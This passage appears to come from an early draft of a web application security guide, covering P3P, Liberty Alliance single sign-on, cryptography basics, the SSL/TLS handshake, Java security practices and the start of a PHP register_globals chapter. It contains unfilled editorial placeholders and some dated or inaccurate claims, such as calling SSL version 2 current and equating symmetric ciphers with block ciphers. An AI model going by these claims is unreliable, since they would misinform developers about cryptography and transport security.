Any review that you do before implementation will save you time in the long run. Remember, you may end up with a number of different P3P policies. One may relate to competitions, another to online shopping and perhaps another to cover areas where no data is retained. The online shopping policy may have the capability to opt-out for example.

Remember, anything that has a URI can have a P3P policy associated with it. Make a note of which URI's would require a P3P policy associated with them and hence how many P3P policies you need to develop. Have a look at http://www.w3.org/p3pdeployment for an idea on how many policies to create for your site.

Topics Addressed by P3P

Remember the areas that are particularly pertinent for your P3P policies:

- Identity and contact informtion of your company
- P3P files location
- Access Policy
- Disputes Policy
- Remedies available for any issues
- Type of data collected
- Purpose of data collection
- Recipients of the data
- Retention Policy

Clarification of all these areas will mean you are well prepared for when it comes to actually implement the policies as they form the basis of the policy. Gather input form your Human Readable Policy as well. Think in terms of the key elements outlined previously such as RETENTION, DATA-GROUP and DISPUTES.

Create P3P files with a P3P Generator

There are now many tools to enable you to do this. As with all tools, none are perfect in interprating your unique requirements. Perhaps the best place tp find the latest P3P Generator Tools is http://www.p3ptoolbox.org. Make sure you review the output thoroughly. Some files will be created in XML, others in HTML and Compacty Policies are just short strings of text. Use a P3P validator such as the one located at http://www.w3.org/validator. This tool is extremely useful for evaluating your P3P policies and highlighting any errors.

Summary

By implementing P3P your organisation is taking a vital step in the general evolution of web based services. You are sending a clear message to your consumers that you take their data seriously and clearly outline what you may do with the data they entrust you with. Privacy is one of the major hurdles to overcome in particular with ecommerce to enable a stronger Internet economy.

Remember though that P3P is not a silver bullet as far as privacy is concerned; it's a framework, albeit a very important one and certainly the method that has the most momentum at this point in time. To truly get the teeth to back up P3P, legislation is required. Some sites do very well out of gathering and onselling users details so we can't rely on a self regulated technology alone. Treat P3P as it is intended; you run a reputable web site and you want to tell everyone that you do so. This is exactly why some of the heavyweights carry P3P polices such as Microsoft, IBM and HP amongst many others.

As P3P evolves alongside more stringent privacy legislation it pays to deploy P3P in a timely manner rather than waiting for precednts to be set. Also, with P3P user agents now resident in I.E. 6.0 and Netscape 7.0 you may find your site being excluded by users simply because you don't have a P3P policy.

The advice - get on the program now, make the positive statement to your client base and stay one step ahead!

Chapter 19. Authentication

What is authentication?

INSERT ALL MATERIAL FROM V1 OF GUIDE. REMOVE SECTION 6.1.9.8 - SSO ACROSS MULTIPLE DNS DOMAINS

Single Sign On

A computer user typically has many online identities to authenticate to many websites or applications. The user is responsible for managing and keeping track of these various identities. The burden can become significant and a security risk. Users use weak passwords that are easy to remember, use the same password on multiple sites, etc. Single sign on technology can remedy this situation.

The most common type of identity management approach is the silo model. In this approach. every application implements its own system based on its specific needs. Larger organizations employ discrete identity management solutions that enable single sign on. Single sign on is a standard way for a user to authenticate to a site and subsequently use other sites without having to authenticate again. My Yahoo, Netscape Netcenter and Amazon are such example. This model is also called a closed community model.

There are universal approaches to single sign on: centralized and distributed or federated.

Microsoft Passport is a single sign on service based on a centralized model. Initially Microsoft Passport was a single sign-on solution for Microsoft web sites but later it was made available to third party sites as well. Microsoft plans to add federation support to Passport in the future.

The Liberty Alliance Project is a set of specifications (on which single sign on services can be built) using a federated model. A federated model allows an organization to link its user profile information with a partner's or affiliate. Each maintains its own user information and uses a standard way to share some of this data with their partners for various business purposes. A scenario might be a partnership or a rebate program.

We should note Microsoft Passport and the Liberty Alliance approaches are not mutually exclusive. It is possible for an organization to support either one or both universal approaches in addition to its own custom solution. Such an example is Citigroup.

Liberty Alliance Project

The Liberty Alliance is a single sign on specification. The project was partially a response to Microsoft Passport. The project is comprised of many members: Sun, RSA, MasterCard, Visa, SAP, etc. The Liberty Alliance specification is relatively new. Version 1.0 was released in the July 2002 and a revision was added in January 2003. It is not widely deployed yet. Major project members plan to implemented it later in 2003.

What does it do?

An implementation of the Liberty Alliance specifications in its current phase allows for identity federation and authentication or single sign on. Identity federation enables users to do business transactions seamlessly across organizations.

The standardized single sign on gives the ability an organization to receive pre-authenticated users from a partner's website. The users will come from a partner organization whom you trust and have an agreement with.

The user is always in control of who can access this information. There are modes of sharing a user can select: always, within a group, per transaction, etc. User consent must be granted for any federation to occur and a user is also able to defederate at any time. The Liberty approach is to privacy is opt-in.

How does it work?

It begins with some business or organizational partners getting to define trust relationships based on Liberty-enabled technology and legal contracts. This federation is known as a circle of trust. In order to understand the specifications, some terminology will help. The distinct parties in a Liberty enabled system are:

- the user: a consumer that uses the Web
- service providers : organizations offering Web based services to users.
- identity providers: service providers offering business incentives so other providers affiliate with them and create a circle of trust.

So a typical circle of trust consists of one user, one identity provider and one or many service providers. The user must be notified of the information being collected and must grant consent for linking his information.

Liberty Alliance uses web standards and protocols, like XML, HTTP. It uses SAML for its authentication token format. SAML messages then use SOAP over HTTP for the standard communication protocol. This in turn is encrypted with TSL or SSL or equivalents such as IPSec. The Liberty specification require confidentiality and integrity from the communication between parties (users, identity providers and service providers).

The actual Liberty architecture divided into four modules, each with a specific function. The first two modules have been already completed. The first is the Liberty Identity Federation Framework (ID-FF) and its role is identity federation and management.

Module 2 is simply the industry standards which the other modules build upon. These standards and schemas are defined by OASIS, W3C and IETF. These include: SAML, WS-Security, HTTP, WSDL, XML, SOAP, XML-ENC, XML-SIG, SSL/TLS, and WAP. Liberty Alliance is interested in using open standards that enables its functio

Module 3 is called the Liberty Identity Web Services Framework (ID-WSF) and as its name applies, it is about creating, identifying and using web identity services.

Module 4 builds on module 3 amd it specifies interopable standards to enable things like alerts, registration, calendar, etc.

Why is it important?

The Liberty Alliance specifications should be considered prior to building a web enabled application. Especially good candidates are intranet or ecommerce web sites. The technology can offer some benefits:

- User convenience due to a single user id and password. It produces a better online experience.
- Increased user satisfaction due to better control of identity information and security. Changes of personal information are transparently propagated.
- New levels of personalization due to integration of functionality and services across organizations in a circle of trust.
- Enables organizations to create new relationships with each other much faster and at a lower cost.

There are is no panacea and there are some arguments against this technology:

- Risk - it is too recent and unproven.
- As with any technology, there is an initial investment in time and resources.

- It is new and hence not widely deployed. Like a PKI implementation, there is an initial treshold of applications that are able to use certificates to be able to geta great return on investment. Metcalf's Law: The value of a network increases exponentially with the number of nodes. Existing isolated applications are the current standard and will continue to be the majority for the immediate future.

- Joining a circle of trust requires a contact in place. Liberty specifications does not make any recommendations and there are some issues still unresolved like liability. What happens if the authenticaton misfires? Who assumes the liability?

The value proposition of this technology is primarily interoperability with major identity management systems. Using such a standard will lower costs significantly should your organization partner with a third party in the future. It also allows a standardized single sign on for your organization and its subsidiaries. General Motors is currently testing a Liberty implementation for its intranet application. An employee logged in to the intranet can then go to a 401k website (administered by a third party)

As this technology will become deployed and adopted, we suspect the specification will change somewhat to acomodate real world scenarios. The project has ambitious plans to add more complex services like federated data exchange and B2B transactional support on top of the federation infrastructure.

We are not in a position to recommend the implementation of this technology becuase the decision will involve your organizations' goals, infrastructure, budget, etc.

How can I use it?

The Liberty Alliance are a set of specifications, not a product. An organization can either build their application to spec or can purchase an identity management system that is Liberty enabled. Sun and RSA have products available today while HP, Novell will have products shortly. There is also an open source Java toolkit for implementing the Liberty Alliance specification currently in beta. (sourceid.org) It should be noted that the first phase of the Liberty project does not provide any formal compliance. However, the project is based on open standards so this is not significant issue.

In terms of authentication, their specification states : "Liberty will not prescribe a single technology, protocol, or policy for the processes by which identity providers issue identities to Principals and by which those Principals subsequently authenticate themselves to the identity provider". This means organizations with existing identity management systems don't need replace their systems.

The specification allows gradient levels of authentication within a circle of trust. For example, ff a particular web site or application requires two factor authentication (like smart cards) due to the sensitivity of the data, it will still work very well with other Liberty providers. However, that also means your application supports single sign on only from identity providers that support two factor authentication.

To establish or join a circle of trust a business or operational agreement must be in place. The definition of these agreements are not covered by the Liberty Project and are left solely to the individual parties to negociate.

Microsoft Passport

INSERT CHAPTER HERE

SAML

INSERT CHAPTER HERE

Chapter 20. Cryptography

Mark

Overview

It seems every security book contains the obligatory chapter with an overview of cryptography. Personally we never read them and wanted to avoid writing one. But cryptography is such an important part of building web applications that a referenceable overview section in the document seemed appropriate.

Cryptography is no silver bullet. A common phrase of "Sure, we'll encrypt it then, that'll solve the problem" is all too easy to apply to common scenarios. But cryptography is hard to get right in the real world. To encrypt a piece of data typically requires the system to have established out of band trust relationships or have exchanged keys securely. The cryptography industry has recently been swamped with snake-oil vendors pushing fantastical claims about their products when a cursory glance often highlights significant weaknesses. If a vendor mentions "military grade" or "unbreakable" start to run! A great FAQ is available on snake oil cryptography at: http://www.interhack.net/people/cmcurtin/snake-oil-faq.html

Good cryptography is based on being reliant on the secrecy of the key and not the algorithm for security. This is an important point. A good algorithm is one which can be publicly scrutinized and proven to be secure. If a vendor says "trust us, we've had experts look at this", chances are they weren't experts!

Cryptography can be used to provide:

- Confidentiality - ensure data is read only by authorized parties,
- Data integrity - ensure data wasn't altered between sender and recipient,
- Authentication - ensure data originated from a particular party.

A cryptographic system (or a cipher system) is a method of hiding data so that only certain people can view it. Cryptography is the practice of creating and using cryptographic systems. Cryptanalysis is the science of analyzing and reverse engineering cryptographic systems. The original data is called plaintext. The protected data is called ciphertext. Encryption is a procedure to convert plaintext into ciphertext. Decryption is a procedure to convert ciphertext into plaintext. A cryptographic system typically consists of algorithms, keys, and key management facilities.

There are two basic types of cryptographic systems: symmetric ("private key") and asymmetric ("public key").

Symmetric key systems require both the sender and the recipient to have the same key. This key is used by the sender to encrypt the data, and again by the recipient to decrypt the data. Key exchange is clearly a problem. How do you securely send a key that will enable you to send other data securely? If a private key is intercepted or stolen, the adversary can act as either party and view all data and communications. You can think of the symmetric crypto system as akin to the Chubb type of door locks. You must be in possession of a key to both open and lock the door.

Asymmetric cryptographic systems are considered much more flexible. Each user has both a public key and a private key. Messages are encrypted with one key and can be decrypted only by the other key. The public key can be published widely while the private key is kept secret. If Alice wishes to send Bob a secret, she finds and verifies Bob's public key, encrypts her message with it, and mails it off to Bob. When Bob gets the message, he uses his private key to decrypt it. Verification of public keys is an important step. Failure to verify that the public key really does belong to Bob leaves open the possibility that Alice is using a key whose associated private key is in the hands of an enemy. Public Key Infrastructures or PKI's deal with this problem by providing certification authorities that sign keys by a supposedly trusted party and make them available for download or verification. Asymmetric ciphers are much slower than their symmetric counterparts and key sizes are generally much larger. You can think of a public key system as akin to a Yale type door lock. Anyone can push the door locked, but you must be in possession of the correct key to open the door.

Symmetric Cryptography

Symmetric cryptography uses a single private key to both encrypt and decrypt data. Any party that has the key can use it to encrypt and decrypt data. They are also referred to as block ciphers.

Symmetric cryptography algorithms are typically fast and are suitable for processing large streams of data.

The disadvantage of symmetric cryptography is that it presumes two parties have agreed on a key and been able to exchange that key in a secure manner prior to communication. This is a significant challenge. Symmetric algorithms are usually mixed with public key algorithms to obtain a blend of security and speed.

Asymmetric, or Public Key, Cryptography

Public-key cryptography is also called asymmetric. It uses a secret key that must be kept from unauthorized users and a public key that can be made public to anyone. Both the public key and the private key are mathematically linked; data encrypted with the public key can be decrypted only by the private key, and data signed with the private key can only be verified with the public key.

The public key can be published to anyone. Both keys are unique to the communication session.

Public-key cryptographic algorithms use a fixed buffer size. Private-key cryptographic algorithms use a variable length buffer. Public-key algorithms cannot be used to chain data together into streams like private-key algorithms can. With private-key algorithms only a small block size can be processed, typically 8 or 16 bytes.

Digital Signatures

Public-key and private-key algorithms can also be used to form digital signatures. Digital signatures authenticate the identity of a sender (if you trust the sender's public key) and protect the integrity of data. You may also hear the term MAC (Message Authentication Code).

Hash Values

Hash algorithms are one-way mathematical algorithms that take an arbitrary length input and produce a fixed length output string. A hash value is a unique and extremely compact numerical representation of a piece of data. MD5 produces 128 bits for instance. It is computationally improbable to find two distinct inputs that hash to the same value (or ``collide''). Hash functions have some very useful applications. They allow a party to prove they know something without revealing what it is, and hence are seeing widespread use in password schemes. They can also be used in digital signatures and integrity protection.

There are several other types of cryptographic algorithms like elliptic curve and stream ciphers. For a complete and thorough tutorial on implementing cryptographic systems we suggest ``Applied Cryptography'' by Bruce Schneier (See Bibliography).

Implementing Cryptography

Cryptographic Toolkits and Libraries

There are many cryptographic toolkits to choose from. The final choice may be dictated by your development platform or the algorithm you wish to use. We list a few for your consideration but in general you should never need to design your own algorithm or key exchange scheme. Tried and tested standards with thousands of implementations speak volumes. Publically scrutinized algorithms with well defined standards for key exchanges are key lifecycles are invariably the safest, cheapest and most secure cryptographic deployments in the real world.

JCE [http://java.sun.com/products/jce/] and JSSE [http://java.sun.com/products/jsse/] - Now an integral part of JDK 1.4, the "Java Cryptography Extensions" and the "Java Secure Socket Extensions" are a natural choice if you are developing in Java. According to Javasoft: ``The Java Cryptography Extension (JCE) provides a framework and implementations for encryption, key generation, key agreement and message authentication code algorithms. Support for encryption includes symmetric, asymmetric, block, and stream ciphers. The software also supports secure streams and sealed objects."

Cryptix [http://www.cryptix.org/] - An open source clean-room implementation of the Java Cryptography extensions. Historically Javasoft couldn't provide its international customers with an implementation of the JCE because of US export restrictions. Cryptix JCE was developed to address this problem. Cryptix JCE is a complete clean-room implementation of the official JCE 1.2 API as published by Sun. Cryptix also produce a PGP library for those developers needing to integrate Java applications with PGP systems.

OpenSSL [http://www.openssl.org] - The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. OpenSSL is based on the excellent SSLeay library developed by Eric A. Young and Tim J. Hudson. The OpenSSL toolkit is licensed under an Apache-style license, which basically means that you are free to get and use it for commercial and non-commercial purposes subject to some simple license conditions.

Pure TLS [http://www.rtfm.com/puretls/] - PureTLS is a free Java-only implementation of the SSLv3 and TLSv1 (RFC2246) protocols. PureTLS was developed by Eric Rescorla for Claymore Systems, Inc.

Legion of the Bouncy Castle [http://www.bouncycastle.org] - Despite its quirky name, The Legion of the Bouncy Castle produce a first rate Java cryptography library for both JSSE and J2ME.

Key Generation

Generating keys is extremely important. If the security of a cryptographic system is reliant on the security of keys then clearly care has to be taken when generating keys.

Random Number Generation

Cryptographic keys need to be as random as possible so that it is infeasible to reproduce them or predict them. A trusted random number generator is essential.

/dev/(u)random (Linux, FreeBSD, OpenBSD) is a useful source if available.

EGADS [http://www.securesoftware.com/egads.php] provides the same kind of functionality as /dev/random and /dev/urandom on Linux systems, but works on Windows, and as a portable Unix program.

YARROW [http://www.counterpane.com/yarrow.html] is a high-performance, high-security, pseudo-random number generator (PRNG) for Windows, Windows NT, and UNIX. It can provide random numbers for a variety of cryptographic applications: encryption, signatures, integrity, etc.

Key Lengths

When thinking about key lengths it is all too easy to think ``the bigger, the better". While a large key will indeed be more difficult to break under most circumstances, the additional overhead in encrypting and decrypting data with large keys may have significant effects on the system. The key needs to be large enough to provide what is referred to as cover time. Cover time is the time the key needs to protect the data. If, for example, you need to send time critical data across the Internet that will be acted upon or rejected with a small time window of, say, a few minutes, even small keys will be able to adequately protect the data. There is little point in protecting data with a key that may take 250 years to be broken, when in reality if the data were decrypted and used it would be out of date and not be accepted by the system anyhow. A good source of current appropriate key lengths can be found at http://www.distributed.net/.

Chapter 21. Transport Security

Mark Curphey

SSL and TLS

When we see a URL with the pre-fix "https" it refers to HTTP over SSL. The Secure Socket Layer protocol or SSL was designed by Netscape and included in the Netscape Communicator browser. SSL is probably the widest spoken security protocol in the world and is built in to all commercial web browsers and web servers. Today many VPN technologies are migrating to use it over IPSec and it has become the defact and dejure transport security protocol. The current version is Version 2. As the original version of SSL designed by Netscape is technically a proprietary protocol the Internet Engineering Task Force (IETF) took over responsibilities for upgrading SSL and have now renamed it TLS or Transport Layer Security. The first version of TLS is version 3.1 and has only minor changes from the original specification.

In general SSL versions 1 and 2 were superseeded due to protocol security flaws and we recomend you only use versions 3 and TLS 1.0 on a security concious web site.

SSL is certainly an important protocol to web applications but its use has become ubiquitous with having a secure web site. Indeed many e-commece stores actively tell you "we are secure, we use 128 bit SSL". SSL of course provide transport security only (an encrypted tunel from the web client to the web server) which incorporates authentication using public key certificates if invoked. SSL does not secure a web site ! SSL can be part of the tool set to help you secure a web site and plays that imnportant role in protecting transport traffic, but is no silver bullet. And SSL is not immune from its own share of security baggage and common configuration / deployment errors that can lead to significant security issues.

SSL can provide three security services for the transport of data to and from web services. Those are:

- Entity Authentication
- Message Confidentiality
- Message Integrity

SSL uses both public key and symmetric cryptography. You will often here SSL certificates mentioned. SSL certificates are X.509 certificates. A certificate is a public key that is signed by another trusted user (with some additional information to validate that trust).

For the purpose of simplicity we are going to refer to both SSL and TLS as SSL in this section. A more complete treatment of these protcols can be found in Stephen Thomas's "SSL and TLS Essentials".

How does SSL and TLS Work?

SSL has two major modes of operation. The first is where the SSL tunnel is set up and only the server is authenticated, the second is where both the server and client are authenticated. In both cases the SSL session is setup before the HTTP transaction takes place.

SSL Negotiation with Server Only Authentication

SSL negotiation with server authentication only is a nine-step process.

1. The first step in the process is for the client to send the server a Client Hello message. This hello message contains the SSL version and the cipher suites the client can talk. The client sends its maximum key length details at this time.
2. The server returns the hello message with one of its own in which it nominates the version of SSL and the ci-

phers and key lengths to be used in the conversation, chosen from the choice offered in the client hello.
3. The server sends its digital certificate to the client for inspection. Most modern browsers automatically check the certificate (depending on configuration) and warn the user if it's not valid. By valid we mean if it does not point to a certification authority that is explicitly trusted or is out of date, etc.
4. The server sends a server done message noting it has concluded the initial part of the setup sequence.
5. The client generates a symmetric key and encrypts it using the server's public key (cert). It then sends this message to the server.
6. The client sends a cipher spec message telling the server all future communication should be with the new key.
7. The client now sends a Finished message using the new key to determine if the server is able to decrypt the message and the negotiation was successful.
8. The server sends a Change Cipher Spec message telling the client that all future communications will be encrypted.
9. The server sends its own Finished message encrypted using the key. If the client can read this message then the negotiation is successfully completed.

SSL with both Client and Server Authentication

SSL negotiation with mutual authentication (client and server) is a twelve-step process.

The additional steps are;

1. 4.) The server sends a Certificate request after sending its own certificate.
2. 6.) The client provides its Certificate.
3. 8.) The client sends a Certificate verify message in which it encrypts a known piece of plaintext using its private key. The server uses the client certificate to decrypt, therefore ascertaining the client has the private key.

Some Important Observations

As can be seen from the description and the basic protocol flow there are many security decisions and processes made seemlssly in a SSL hand-shake, all of which can have significant consequences the web sites security. Whilst we can not hope to cover them all here some important observations are noted below.

SSL will not prevent many (if any) of the common attacks from happening

The certificate must be valid and checked by the client

The client proposes the cipher specs and key lengths (the security strength)

The client proposes the SSL version

The client proposes the key exchange algorithm

X.509 certifiate extensions have been known to give the game away

Chapter 22. Language-specific guidelines

Christopher Todd

The chapters you've read up to now have dealt largely with the issues of web application security at an abstract or conceptual level. While they do a good job of presenting web developers with an outline of the concepts necessary to write secure web applications, they provide little along the lines of specific guidance or examples of how to accomplish these tasks in the most common web application development languages.

This chapter will provide you with some of the language-specific tools and techniques you'll need to begin developing secure web applications. Each of the following sections focuses on a particular web development language or platform, and discusses some of the language-specific security capabilities inherent to that language or platform. In many cases, specific code examples or configuration examples are provided. Any security "gotchas" that may be inherent to the language or platform are discussed, and solutions to those problems and challenges are described.

Java

Christopher Todd

Among the languages that are widely used to create web applications, Java is one of the most secure. It does not suffer from the buffer overflows of C and C++, and while it does contain methods for executing external programs (similar to eval() and exec() in Perl and PHP), it is extremely rare for Java developers to use them. Web applications written in Java will utilize (at a minimum) the Servlet API's and a servlet container, and possibly also Java Server Pages (JSP), which are similar in structure and function to Active Server Pages or PHP. Java web developers may also use Enterprise Java Beans (which requires the use of an EJB container). Servlet and EJB containers provide many security functions that simplify the task of developing secure web applications. Finally, the standard Java language API's include numerous classes and packages that assist web application developers in creating secure web applications.

In this section, we will highlight each of the key components of web application security as discussed in earlier sections of this guide, and explain how the Java language API's or the services provided by servlet and EJB containers can be used to address those issues.

Authentication, Access control, and Authorization

The Java Authentication and Authorization Service (JAAS) [http://java.sun.com/products/jaas/] set of APIs provides a means to authenticate and authorize users against a variety of authentication databases. It implements the Pluggable Authentication Module (PAM) interface in Java, allowing Java applications to use the operating system-specific user databases provided on Solaris and Linux. Its pluggable architecture means Java applications can use virtually any of the most popular user authentication databases and protocols for authentication and authorization.

If you are able to use a servlet container that is compatible with version 2.3 of the Java Servlet Specification, then you have another powerful tool for performing authentication and authorization in your web applications: Filters. The javax.servlet.Filter class differs from a servlet in that it is not intended to process a request and return a result to the browser. Filters are designed to process a request (or a response), possibly modify the request, and then forward the request to the appropriate servlet or JSP page. As a result, Filters are excellent candidates for acting as the Controller in the Model-View-Controller design pattern (see chapter 17). Such Filters can act as gate-keepers to your application by checking whether a request is part of an already established user session, and if so, whether the authenticated user is authorized to access the resource being requested. If a request is not part of an already established session, then the Filter can return the login page ot the browser.

The Java Servlet Specification provides mechanisms for protecting access to particular sets of URIs within your web application. This access can be declarative (that is, described in the web application deployment descriptor), or programmatic (that is, you can code it into your servlets and JSP pages). In general, for complex applications with large user bases, declarative security is more manageable, but it is often the case that fine-grained access control is best

done using the programmatic approach. For more details, see the Servlet Specification at java.sun.com [http://java.sun.com].

User sessions

One of the most convenient features of the Java servlet specification is the built-in support for managing user sessions. In fact, session management is almost entirely handled by the servlet container; all the developer has to do is create a session at an appropriate place in the application "flow", and the servlet container will generate the session ID and place it in a cookie or in the URL, depending on whether the developer wants to require the use of cookies. The servlet API provides relatively simple means for encoding the session ID in the URL for those browsers that do not support cookies, or when users have disabled cookies.

Data validation

Java does not provide any built-in cohesive API's for performing data validation. However, there are several third-party libraries available to assist Java developers in this crucial task. For example:

- The OWASP Filters [http://www.owasp.org/filters/] project is in the process of developing input filtering libraries geared towards the security needs of web applications. These libraries eventually will be provided for several web development languages.
- The Jakarta Validator [http://jakarta.apache.org/commons/validator/index.html] package originally was developed for use with the Jakarta Struts platform, but has been found to be so generally useful that it has become its own project under the jakarta banner. It provides a library with generic data validation routines, but is extensible so developers can write Validators to meet their specific needs.
- Regular Expressions can be used to create home-grown data validation routines. A regular expressions package is built in to the JDK 1.4, but several third-party packages are available for doing regular expressions in Java: the Jakarta ORO [http://jakarta.apache.org/oro/] and regexp [http://jakarta.apache.org/regexp/] packages and the gnu.regexp [http://www.cacas.org/java/gnu/regexp/] package. These packages can be used to construct your own filters for user input, though they will require developers to learn the voodoo of regular expressions, and effective use of regular expressions to mitigate the most common user input-related security problems found in web applications will require developers to be very familiar with most of the concepts discussed in this guide.

Event logging

Java web applications have several options for logging important application events. Servlets and JSP pages can write to the servlet container's log file or create and use log files of their own. If you decide you use application-specific log files (instead of the servlet container's log files), you have several options. You can simply use the standard I/O libraries, or you can use a third-party logging package such as log4j [http://jakarta.apache.org/log4j/], or if you are running the JDK 1.4, you can use the new java.util.logging.* [http://java.sun.com/j2se/1.4.1/docs/api/java/util/logging/package-summary.html] package. Regardless of the mechanism used, for logging to be effective, the entire development team must know how to use these API's, and must be committed to using them throughout the application.

Privacy considerations

The web application privacy concerns described in Chapter 12 can all be addressed easily using Java, though this requires a little effort on the developer's part. For example:

- The Servlet API provides methods for setting HTTP headers and META tags to provide Privacy-enhanced login.
- Regular expressions can be used to mask sensitive information (e.g. representing a credit card number as ****6789).
- The servlet container can be configured to force the use of SSL in order to access a particular HTML page, servlet, of JSP page, or set of URLs.
- The servlet container can be configured to use relatively short session timeout values to minimize the possibility of session hijacking.

- Java's cryptography libraries can be used to encrypt any and all sensitive data for storage.
- It is trivial to make all forms use POST rather than GET.

Cryptography

Java provides a rich set of API's for performing various cryptographic functions. The approach taken by the Java platform is that of "cryptographic providers", which are plug-and-play implementations of the Java crypto API's. This approach provides flexibility to developers, who can choose their crypto providers based on feature set, efficiency, support for particular algorithms, or algorithm strength.

The topic of cryptography, and the full-featured API's provided by Java for doing cryptography, are subjects too broad to be given justice here. We recommend the following references:

- Oaks, 2001
- Knudsen, 1998
- Sun Microsystems, 2003

While a full discussion of the Java API's for cryptography is beyond the scope of this paper, there are a few portions of the API's that are most likely to be helpful, and a few "gotchas" that Java web developers should be familiar with:

- If you need to generate pseudo-random numbers (e.g. for user IDs, account numbers, etc.), use java.security.SecureRandom rather than java.util.Random (or Math.random()). The former uses a cryptographically strong pseudo-random number generator (PRNG), while java.util.Random and Math.random() use the current system time (in milliseconds) as a seed by default (though developers can use their own seed using a different constructor), and the algorithm used guarantees that two instances of Random created with the same seed are guaranteed to produce the same sequence of numbers. Thus, an attacker that can make an educated guess about the time the instance of Random was created can greatly reduce the size of the pool of possible numbers.
- Prior to the JDK 1.4, most of the cryptography related packages were distributed separately from the main JDK. This often causes confusion among developers new to Java cryptography. The latest JDK (1.4) includes most of the Java cryptographic APIs by default, although you may have to download a separate policy to enable support for strong encryption (longer key lengths).

JSPs vs. Servlets, source code disclosure, and templating systems

Among the server-side scripting languages, such as PHP, ASP, and JSP, in which web application code is written in script files that are interpreted by the web application server or container rather than being executed from compiled code, there exists a risk that the source code for a given page will be displayed to the user. This most often occurs when there is a bug or misconfiguration of the web application server, and instead of parsing the script page and executing the code, the web application server presents that un-parsed page as if it were a static HTML page.

There are several ways web application developers can mitigate this risk for Java based web applications. First, and most obvious, is to create the web application using only servlets and not JSPs. This has several disadvantages not related to security which will be obvious to any experienced servlet or JSP developer, not the least of which is that HTML page designers will have to work with servlets, and place their work inside out.println() statements. This approach does, however, completely eliminate the possibility of disclosing the source code of your web application.

A second mechanism for avoiding JSP disclosure vulnerabilities is to use one of the available "templating" systems, such as Velocity [http://jakarta.apache.org/velocity/], WebMacro [http://www.webmacro.org], Freemarker [http://www.freemarker.org], and others. The basic approach taken by these templating engines is to use a servlet to parse the template code, thus relieving the servlet container of the task. While this might seem to simply push the problem from the servlet container to the parsing servlet itself, in most cases, it is nearly impossible to obtain the source of the template file, and even if it were possible, the separation between application code and display code provided by these templating systems means that any template pages that are disclosed will contain less information

that could be useful to an attacker.

A third alternative would be to use a JSP compiler to pre-compile all of your JSP pages, then only deploy the compiled JSPs to your production (and even development and testing) platforms. This is probably the simplest alternative, as it provides all the advantages of using JSP without the possibility of source code disclosure.

Issues not directly addressed by the Java language

Or, stuff you still gotta do.

A number of the issues discussed so far in this guide are not directly addressed by Java language security, and must be addressed using other means. They include:

- Keeping up to date with vendor patches. No development language can help web server administrators do this.
- Eliminating backup files from the web root. You can, however, mitigate this issue somewhat by explicitly mapping requests (in web.xml) to particular JSP pages or servlets, and provide a default mapping that captures all other requests.
- Default accounts. Consult your servlet container documentation to determine if there are default accounts for administration applications.
- Comments in HTML code. If you are using servlets, simply do not include comments in out.println() statements. If you are using JSP pages, place comments inside scriptlets, as these will be removed when the JSP is compiled.
- Secure system configurations and server hardening.
- Modifiable debug settings. If your web application uses custom-written debugging routines that return output to the user, you will have to ensure that there is no way for a user to turn such output on or off via an HTTP request.

Issues unique to Java

Or, security precautions for the truly paranoid

While the Java language is not vulnerable to many of the security-related problems that have plagued other programming languages (e.g. buffer overflows and format string vulnerabilities), there are several aspects of the Java language that developers must understand in order to write truly secure code. While some of the recommendations below are less relevant to web applications than they are to standalone applications, they are included here for completeness. For more complete discussions of these and other Java-related security issues, see Gong, 1999, Wheeler, 2002, Oaks, 2001, McGraw and Felton, 1999, and Viega and McGraw, 2002.

- If you are running more than one web application on your server (e.g. if you are running a hosting environment), consult your vendor documentation to ensure that each web application uses its own classloader. This can help mitigate a large variety of malicious code attacks.
- Run your servlet container under a SecurityManager (if your container supports this; not all may).
- Restrict access to fields. Make all fields private, and provide accessor methods (get/set methods).
- Make all public static fields final.
- Make all classes final, if possible.
- Make all classes either un-cloneable or final.
- Make all classes unserializable, or if they must be serialized, make them final.
- Use mutable objects (such as arrays, Vectors, or various classes in the Collections API) for storing sensitive information (such as passwords or personally identifying information) rather than Strings. While this is difficult to do comprehensively in web applications, given that all HTTP parameters, headers, and cookies are returned as Strings, any data your application obtains from databases or external sources should be stored in mutable objects, if at all possible.
- Never return a mutable object to potentially malicious code, and never accept a mutable object from potentially malicious code without cloning it first. Then operate only on the cloned copy.
- Do not depend on packages for security; use sealed packages if at all possible.
- Digitally sign jar files to prevent mix-and-match attacks.
- Be careful when determining the name of a class, as attackers can try mix-and-match attacks.
- Native code runs outside the security control of the JVM and should not be trusted.
- Try not to use inner classes, if at all possible, as the class obtains package scope, and their private fields obtain

package scope, when compiled.
- Do not hard code secrets such as passwords or cryptographic keys in your code; Java bytecode is notoriously easy to decompile.
- Always encrypt sensitive data, and keep it encrypted for as long as possible while in memory. When decrypted, the sensitive data should be stored in a mutable object (such as an array) so that it may be cleared from memory as soon as it is no longer needed.
- Avoid using privileged code blocks if at all possible, as these blocks circumnavigate the security controls of a SecurityManager.

PHP

Perl

C#/.NET

Python

C/C++

Chapter 23. PHP

Mikael Simonsson <mikael.simonsson@ver4.com>

Introduction

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used server-side scripting language for creating dynamic web pages. Server-side means that the code is interpreted on the server before the result is sent to the client. PHP code is embedded in HTML code and it is really easy to get started with, while still very powerful for the experienced programmer. However being extremely feature rich and easy to get started with is not only positive, it to often leads to insecure applications vulnerable to several different kinds of attacks. This chapter will try to explain the most common attacks and how we can protect ourselves against them.

Note: PHP is open-source and freely downloadable from www.php.net.

Global variables

Introduction

Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope.

PHP handles global variables quite differently that say languages like C. In C a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

```
$sTitle = 'Page title'; // Global scope

function printTitle()
{
        global $sTitle; // Declare the variable as global

        echo $sTitle; // Now we can access it just like it was a local variable
}
```

All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

register_globals

The register_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

Let's start by having a look at an example:

```
if ( $bIsAlwaysFalse )
{
    // This is never executed:
    $sFilename = 'somefile.php';
}
```

```
...

if ( $sFilename != '' )
{
